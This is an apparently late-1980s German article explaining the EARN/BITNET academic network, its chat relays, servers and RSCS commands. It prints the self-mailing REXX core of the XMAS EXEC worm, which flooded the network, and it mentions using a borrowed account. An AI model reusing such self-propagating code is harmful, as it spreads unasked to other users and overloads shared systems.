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EARN - Ein aussirdisches Rechner Netz


Die Entdeckung

Vor einigen Wochen (Herbst 1987)(..jaja,immer die neuesten Nachrichten auf
dem Netz:-)) (Anm. d. Red.)) entdeckte ich, dass an meiner Universitaet 
ein Anschluss an EARN (European Academic Reseach Network) existiert. Ein 
Bekannter lieh mir sein Login samt Passwort und los ging es.

Als erstes stuerzte ich mich auf das Terminal unserer Mainframe, eine Siemens-
anlage unter dem VM/CMS Betriebssystem von IBM.. Nach dem Einloggen tippte ich
erstmal SETUP NETZE (=ENVIROMENT EARN) um das Netz zu aktivieren. Ab da
begannen die Schwierigkeiten. Mein erster Befehl, den ich an RELAY@DEARN
(eine Art Konferenzschaltung auf dem Netz) absendete war /SIGNUP <vorname>
<nachname>. Damit meldet man sich auf dem Relay als Benuzter an.
Laut Handbuch haette jetzt eine Meldung kommen muessen, das man sich freut mich
bei InterChat/Relay begruessen zu duerfen. Darauf seelisch eingestellt, war die
Meldung 'You banned from this Relay' ein Schock. Nach Anfragen beim Operator
bekam ich zu hoeren, dass ich wohl gegen die EARN-Richtlinien verstossen habe.
Mit diesem Aha-Erlebnis wurde ich bei dem Besitzer des Accounts vorstellig.
Dieser erzaehlte das er genau einmal auf dem Relay war, und da hatte er nix
getan. Eine suspekte Angelegenheit.
Gluecklicherweise bekam ich zwei Tage spaeter durch eine Vorlesung ein eigenes
Account fuer unsere Siemens.
Ein weiterer Versuch, mich auf das Relay@DEARN einzuloggen brachte den
gewuenschten Erfolg. Auch der naechste Befehl - /SIGNON <nickname> <channal> -
klappte hervorragend. Dann brach das Chaos auf meinen Bildschirm aus.
Irgendwie sah es auch, als wuerden Hunderte von Leuten gleichzeitig in einer
Mailbox miteinander reden. Nun, es waren etwa 30 Leute, die sich eingeloggt
hatten. Das nur als Anreiz und Warnung vor seelischen Schaden. 

 Something about EARN

EARN ist ein europaeisches Datennetz zum Austausch von Informationen und
Programmen. Praktisch heisst das, man kein auf dem Netz direkt mit anderen
Leuten chatten. Nicht nur mit Leuten, die sich bei EARN-Relays einloggen,
sondern mit jeden der an einem EARN-Node sitzt.
EARN hat viele Namen. In Europa heisst es EARN. In USA heisst es BITNET, in
Canada heisst es USENET und in Skandinavien heisst es NORTHNET. Insgesamt gibt
es ca. 1300 Nodes , also Knoten Rechner die an EARN/Bitnet angeschlossen sind.
Neben den westlichen Industrienationen sind auch Laender wie
Mexiko,Israel,Japan,Elfenbeinkueste(!) und Chile angeschlossen.
Die Verbindungsaufnahme mit einem User an EARN ist denkbar einfach. Man
braucht keine langen Pfadnamen wie bei Eunet/UUCP, sondern es genuegen die
angaben <userid><nodeid>. EARN ist auch schnell. Mails,Files und Messages
erreichen den Zieluser innerhalb von Minuten. Allerdings ist das zu einem
gewissen Masse Theorie, da die Verbindungen zwischen den Nodes eine nette
Eigenschaft haben: Sie brechen gern zusammen. Zwischen den Nodes liegen Kabel
bzw. Satellitenverbindungen, die allseitig beliebten Links, und die
beliebteste Fehlermeldung lautet: 'Link Failure on xxxxx to yyyyy path (Kurz
LF).

Die Nodes im EARN haben meistens ein System in ihrem Namen. Zum Beispiel 
bedeutet DOLUNI1 nichts weiteres als:
D - Deutschland (Land), OL - Oldenburg (Fahrzeugkenntzeichnen), UNI -
Universitaet (Organisation), 1 - VM/CMS (Betriebsystem).
Ist also ziemlich klar. Andere Kennzahlen fuer das Betriebssystem sind unter
anderem: 0 - Cypher, 4 - BS3000, 5 - VAX/VMS, 6 - Unix.  Leider wird diese
sinnvolle Einteilung nur in Europa eingesetzt. Namen wie WEIZMANN, SUNRISE,
etc wird man aber nach laengerer Nutzung vom EARN/Bitnet von selbst
kennenlernen.

Relay-Benutzung

Die wohl wichtigste Einrichtung sind die Relays auf EARN. Das sind InterChat
Systeme die das Gespraech von mehreren User zulassen. Auf diesem Relays gibt es
10000 Channels. Auf jedem Channel koennen sich bis zu 50 User einloggen. Die
ersten 100 Channels sind oeffentlich und koennen von jedem benutzt werden.
Die Channels 100-999 sind privat. Das heisst man kann sich mit mehreren Leuten
auf diese Channels zurueckziehen und ist damit unauffindbar. Die restlichen
Channels sind fuer den wissenschaftlichen Datenaustausch zwischen Instituten
und Universitaeten.
Jedes Land hat sein eigenes Relay. In Deutschland ist das RelayDEARN. In USA
ist das z.B. RelayBitnic. Man kann sich immer nur an den Relay einloggen in
dessen Land der Node steht. Wichtige Befehle fuer das Relay sind z.B.
/SIGNUP <vorname> <nachname>     - Anmelden beim Relay.
/SIGNON <nickname> <channel>     - Auf relay einloggen.
/WHO <channel>                   - Wer ist da und wo ist er.
/HELP                            - Helpliste
/CHANNEL <channel>               - Kanal wechseln.

Die Angabe bei /WHO ist sehr aufschlussreich. Man bekommt eine Meldung, wo
jeder User herkommt. Germany heisst z.B. Deutschland. TAURelay heisst z.B.
Israel und Geneva heisst Irland oder was anderes (selten Schweiz).

Die Anstandregeln

Es gibt auch Richtlinien zur Benutzung von EARN:

     - man darf nicht auf einen privaten Channel wechseln, wenn dieser
       besetzt ist.
     - man darf das Netz nicht unnoetig belasten (mit Charset-Pics' z.B.).
     - man darf nicht hart fluchen.
     - man sollte Englisch reden.
     - Man darf nicht kommerziell nutzen.
     - man darf nicht hacken.

Das letzte ist sowieso nicht moeglich, da EARN ein passives (interaktives) Netz
ist. Es ist also kein Remotelogin in andere Computer moeglich. Messages werden
immer von einem Node zum naechsten geschickt.
Neben dem Relay gibt es noch die Moeglichkeit mit User direkt zu chatten bzw.
Notes (Mails) zu verschicken. Je nach Computer geht das mit dem NOTE oder MAIL
Befehl. Wenn ich z.B. mit jemand mit mir chatten will und er an einer VM/CMS-
Kiste sitzt, braucht er nur TELL 151133 AT DOLUNI1 <text> tippen. Das klappt.
Es sei den, es ist wieder ein LF zwischen DHVRRZN1 und DOLUNI1.


Informationssysteme auf EARN

Jedes Zentralnode eines Landes bitten zwei Informationsdienste an. Das eine
ist der NETSERV<centralnode>. Das andere ist der LISTSERV<centralnode>. Beim
Netserver kann man sich Hilfsprogramme zum chatten (z.B. CHAT fuer VM/SP oder
XYZZY fuer VAX/VMS) schicken lassen. Ausserdem bekommt man dort verschiedene
Information ueber die einzelnen Nodes bzw. User. Der Listserver ist da etwas
anders. Man kann sich in Listen fuer bestimmte Themen eintragen: UNIX , ATARI
XL , Psychologie des Hundes, usw.
Dann bekommt man immer etwas zugeschickt, wenn es zu diesem Themen etwas neues
gibt. Man kann sich das so vorstellen, wie auch NEWS von UNIDO und SUBNET auf
NETMBX auf Eunet/UUCP funkioniert. Dann gibt es noch private Server wie UH-
INFO oder SIMTEL. Diese werden von Firmen oder Universitaeten betrieben. Von
dieser Art von Server gibt es etwa 200 auf EARN.
Dann gibt es auch noch Mailboxen Systeme. Da aber auf EARN selten
Computerfreaks sich befinden, sind diese eine Seltenheit. Es gibt auf der
ganzen Welt nur drei EARN-Mailboxen.

          CSNEWSMAINE             - Mailbox fuer Informatiker
          COMSERVERPICGIGE        - Ableger von CompuServ
          107633DOLUNI1           - Name: CHAMAS
                                     Moechte nicht viel dazu sagen, da es
                                     Werbung waere: Ist naemlich meine eigene.

Ein anderer Dienst von EARN sind die Gateways auf andere Netze. Hauptsaechlich
sind das Eunet/UUCP, Janet/UUCP, DFN/X.400, Arpa-Internet, Atarinet, usw.
Natuerlich kann man auch von anderen Netzen aus ins Bitnet senden. Das geht
z.B. vom UUCP aus mit dem Path: ..!tmpmbx!<node>.BITNET!<userid> oder auch
..!unido!<node>.BITNET!<user>. Man sollte aber immer dran denken, dass das
senden in andere Netze Probleme bringen kann, da es auf diesen Netzen 
vielleicht andere Topologien, Organisationen und Kostenstrukturen gibt. Im
Zweifelsfall sollte man immer einen SysOp oder Postmaster fragen.


GAV

In der zweiten Dezemberwoche kam es auf dem EARN zum ersten GAV (Groesster
Anzunehmender Vireneinsatz). An einem kalten Donnerstagmorgen bekam ich ein
File namens XMAS. In meinem jugendlichen Leichtsinn startete ich es, Erst sah
ich einen Weihnachtsbaum und dann zirka 300 Filesendebefehle. Das Programm
ging meine Nameslist (diese existiert auf allen VM/CMS Rechner und kann
erweitert werden) durch und sendete sich selbst an die Leute.
Das XMAS EXEC war in REXX programmiert. Der 'angebliche' Virusteil sah so aus:

ADDRESS CMS                                   ; CMS Ebene
'execio * diskr <userid> NAMES A (STACK LIFO' ; Lade Nameslist
i = 0
DO UNTIL i = queued()                         ; ...bis Stack leer
   pull nickname userid nodeid                ; Hole vom Stack
   'sendf XMAS EXEC 'userid nodeid            ; Sende an...
END
Exit 0                                        ; Programm verlassen

Das war schon praktisch alles. Wo ist das ein Virus ?  Jeder User der ihn
startet ist selbst Schuld. Das ist hoechstens ein Bakterium.
Allerdings hat dieses Bakterium die naechstens drei Tage EARN blockiert. Auf
den Mailboxsystem CSNEWS wurde nur ueber diesen Virus geredet und dem
Programmierer wurde wenig nettes gewuenscht. Es war ein Informatikstudent an
der Universitaet Clausthal-Zellerfeld.
Interessant bleibt anzumerken, das eine Warnung in die USA von dem Operatoren
beachtet wurde und zur einer Warnmeldung beim einloggen in die dortigen
Systeme zu folge hatte.
Eine Warnung an die deutschen Operator brachte keine Reaktion.


RSCS - Was ist das ?

Das verwendete Protokoll auf den EARN/Bitnet ist NJE. Dies steht fuer
Network Job Entry und ist ein Produkt von IBM. Bis heute habe ich noch 
keine vernueftige Beschreibung fuer dieses Protokoll gefunden, da es sich
um restrikted documents handelt. Ein beliebtes Hobby von Firmen wie IBM und
DEC. 
Die Verbindung unter dem Nodes wird mit einem Softwareprogramm namens RSCS
aufrecht gehalten. Dieses RSCS ist meistens eine Art Pseudo-User und ist daher
auch erreichbar. Man kann ihm also auch direkt benutzten (Bsp.: TELL RSCS CMD
DOLUNI1 CPQ N).
Wichtige Befehle der RSCS sind z.B.

     CMD <node1> q <node2> s     - Welcher Status hat der Link zwischen Node1
                                   und Node2 (Aktiv?, Files queued, usw.)
     CMD <node> CPQ N            - Wer ist alles am Node1 eingeloggt.
     CMD <node> <userid> CPQ T <text>
                                 - Text an User Userid in Node schicken.
     CMD <node2> CMD <node3> <rscs kommando>
                                 - Es wird nicht der vorgegebene Link von
                                   Startnode ueber Node1 nach Node3 genommen,
                                   sondern ein Umweg ueber Node2. Bei LF sehr
                                   sinnvoll.
     CMD <node> CPQ U <userid>   - Ist User Userid eingeloggt ?

Leider haben viele RSCS eine Sperre drin, die die Befehl CPQ N und CPQ U, 
oder sogar noch mehr sperren. RSCS gibt es an sich nur auf VM/CMS Maschinen. 
Allerdings werden diese Kommandos in der Regel auf von JNET (VAX/VMS) und
aehnlichen Kommunikationsservern verstanden. Unterschiede gibt es zum Bei-
spiel bei JES3 (fuer BS3000) den Befehl $D,u "<userid>" mit dem Befehl CPQ U
<user> auf RSCS gleichzusetzen ist. Auf UREP (fuer UNIX) lautet der Befehl
finger <userid>. 

Wer gEARN moechte

Der Zugang wird in Deutschland ziemlich unterschiedlich gehandhabt. In
Hannover und Hamburg wird dieser Zugang generell nicht erlaubt. In Heidelberg
und Oldenburg kann jeder Student ans Netz. Bei den restlichen Universitaeten
ist es von der Laune des Rechenzentrumsleiters oder von den Professoren
abhaengig, ob man die Berechtigung braucht, oder nicht.
Das Backbonenetz von EARN wurde bis Ende 1987 von IBM finanziert. Seit dem
wird es vom Bundesministerium fuer Forschung und Technologie bezahlt. Das laeuft
Ende 1988 aus. Das haette normalerweise das Ende von EARN in Deutschland
bedeutet, wenn nicht IBM gesagt haette, das sie die Finanzierung eventuell
wieder uebernehmen. Man koennte jetzt meinen, das die Universitaeten dahinterher
sein muessten, EARN attraktiv zumachen, um durch hohe Benutzerzahlen IBM
endgueltig eine Zusage abzuringen. Im Gegenteil in letzter Zeit wird der Zugang
immer schwieriger. Stattdessen will man sich an das DFN (Deutsche
Forschungsnetz) haengen. Dieses (auch X.400 genannte) Netz laeuft ueber Pattex
(X.25). Als Begruendung wird angefuehrt, das man nicht von einer Firma abhaengig
sein will. Das hoert sich gut an. Bei DFN waere man ja nur von der Bundespest
abhaengig. Und...DFN muesste sicher fuer die Allgemeinheit gesperrt werden. Es 
ist ja Datex-P. Es ist teuer und ziemlich unsicher (wenigstens im Vergleich zu
EARN). Ausserdem bietet DFN weder Server, noch Messages, noch Relays.
Allerdings ist das Thema Netze fuer Universitaeten noch nicht entschieden. 
Das letzten Reste von EARN werden wohl im naechsten Jahr in das AGFNet 
integriert. Das AGFNet ist das Netz der Arbeitsgemeinschaft Gross-
forschungseinrichtungen. An dieses AGFNet wollen sich jetzt auch paar Uni-
versitaeten anschliessen, um die Leistungen vom Bitnet weiter direkt nutzen
zu koennen. AGFNet bietet sogar weitergehende Leistungen wie Remote Login.
Ausserdem hat die Post angeboten ein wissenschaftliches Datennetz fuer die 
Universitaeten einzurichten. Dieses ist praktisch Datex-P wird aber von den 
Universitaeten pauschal bezahlt. Also nicht nach Volumen. In wie weit 
Studenten diese Netze nutzen koennen, werden die einzelnen Rechenzentren 
entscheiden muessen. Inzwischen hat sich unter anderem die Universitaeten in
Niedersachsen entschlossen auch ueber das Jahr 1990 hinaus am EARN/Bitnet
angeschlossen zu bleiben. Als Uebertragungsmedium wird das wissenschaftliche
Hochschulnetz dienen.
Auch in den USA tut sich was in Sachen Bitnet. Dort wird das Bitnet 2 ent-
wickelt. Dieses Netz soll mehr Dienstleistungen (z.B. RJE), sowie hoehere
Leitungsgeschwindigkeiten ermoeglichen. Dazu kommt, das sich die beiden 
grossen Wissenschaftsnetze in den USA, naemlich das Bitnet sowie das CSNet
zum CREN (Computer Research and Educational Network) zusammengeschlossen
haben.

Das zum Thema EARN. Es duerften jetzt alle Klarheiten beseitigt sein, und die
Leute die EARN nicht kennen, aber die Moeglichkeit haben, ran zu kommen,
sollten jetzt wissen, was sie machen koennen und was sie machen duerfen.
In Deutschland kann man weitergehende Informationen ueber EARN/Bitnet von
IBM Heidelberg , von der GMD in Darmstadt oder Bonn oder aber von mir
bekommen. 

                                                        Terra
                                                (151133]DOLUNI1.Bitnet)
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